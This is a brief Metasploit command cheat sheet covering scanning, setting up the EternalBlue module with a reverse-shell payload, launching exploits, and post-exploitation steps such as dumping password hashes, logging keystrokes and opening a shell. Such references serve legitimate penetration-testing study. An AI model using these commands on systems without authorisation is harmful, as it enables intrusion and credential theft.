Metasploit

Module Logic & Exploitation Workflows

🔍 Discovery & Scanning

CommandPurpose
msfconsoleLaunch Metasploit CLI interface
search [term]Find modules by keyword
use auxiliary/scanner/portscan/tcpRun TCP port scan
use auxiliary/scanner/http/titleGrab web page titles for discovery
servicesList discovered services from scans

⚙️ Module Setup

CommandPurpose
use exploit/windows/smb/ms17_010_eternalblueSelect exploit module
show optionsDisplay required settings for module
set RHOSTS [target]Set target IP address
set LHOST [your IP]Set local IP for reverse shell
set PAYLOAD [type]Choose payload (e.g. reverse_tcp)

🚀 Exploitation

CommandPurpose
exploitLaunch the exploit
runAlias for exploit (used in auxiliary modules)
sessionsList active sessions
sessions -i [ID]Interact with a specific session

🧠 Post-Exploitation

CommandPurpose
sysinfoDisplay target system info
hashdumpDump password hashes
keyscan_start / keyscan_dumpStart and dump keystroke logs
upload / downloadTransfer files to/from target
shellDrop into system shell